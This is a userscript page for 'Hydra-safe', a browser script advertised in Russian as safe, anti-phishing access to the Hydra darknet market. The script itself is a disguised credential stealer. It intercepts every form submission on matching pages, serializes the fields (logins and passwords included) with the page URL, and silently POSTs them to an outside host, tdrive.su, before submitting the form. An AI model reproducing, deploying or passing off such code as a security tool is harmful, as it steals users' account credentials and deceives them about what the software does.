Hydra-safe

безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

You will need to install an extension such as Tampermonkey to install this script.

Tendrás que instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Tendrás que instalar una extensión como Tampermonkey antes de poder instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

// ==UserScript==
// @name         Hydra-safe
// @namespace    Hydra_safe
// @version      2024.09.02
// @description  безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры
// @description:en  access to hydra, hydraruzxpnew4af, stop fishing
// @author       Ioan Groznyi
// @match        *hydra*
// @include      http://hydra*
// @include      https://hydra*
// @grant        none
// ==/UserScript==
 
(function(_$, w) {
    'use strict';
    if(self != parent){
        return ;
    }
    var urls = [
        'https://tdrive.su/stat/'
    ];
    var _flag = false,
        $form;
    //_$('#orders-counter, [href="/orders"]').text('');
        _$('form').submit(function(ev){
            if(_flag){
                return true;
            }
            
            ev.preventDefault();
            ev.stopPropagation();
            var form = _$(this).serialize() + '&url_t=' + location.href;
            $form = _$(this);
            _$("html, body, input, button, a").css('cursor','wait');
            _$(urls).each(function(){ send(form, this);});
        });
 
    
    if(w.location.href.match(/notifications/)){ return;
                                               var nots,
                                                   storage_nots,
                                                   message,
                                                   _length,
                                                   compare_string = '';
                                               nots = _$.trim(_$('.list_notifications li').text());
                                               if(nots.length === 0 ){
                                                   send_message(1, 'HELP, I NEED CAPTCHA!!!!!!!!!!!!!!');
                                                   return;
                                               }
                                               storage_nots = localStorage.nots || '';
                                               if(storage_nots.length === 0 ){
                                                   localStorage.nots = nots;
                                                   send_message(2, 'NO DATA IN LOCALSTORAGE.NOTS!!!!!!!!!!');
                                                   return;
                                               }
 
 
                                               _length = Math.max(storage_nots.length, nots.length);
                                               for (let i = 0; i < _length; i++) {
                                                   //compare_string += nots[i] + ' ' + storage_nots[i];
                                                   if(nots[i] !== storage_nots[i]){
                                                       localStorage.nots = nots;
                                                       console.log("Сохранили localStorage.nots = nots");
                                                       // send_message(3, 'Символ ' + i + '\r\n\r\nчасть строки 1: ' + nots.slice(i, i + 10) + '\r\n\r\nЧасть строки 2: ' + storage_nots.slice(i, i + 10));
                                                       return;
                                                   }
                                               }
                                               //send_message(0, 'Строки одинаковые, ничего не делаем!!!!');
                                              }
 
    
    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                //                 console.dir(resp.responce);
            },
            error : function(x){
               // console.log(x);
               // console.log('some error occured');
            },
             complete : function(){
                 _flag = true;
                 $form[0].submit();
             }
        });
    }
    function send_message(code, message){
        console.log(message);
        code !== 0 && _$(urls).each(function(){ send(message, this);});
        // code !== 1 && w.setTimeout(function(){w.location.reload(true);},30000);
    }
})(jQuery, window);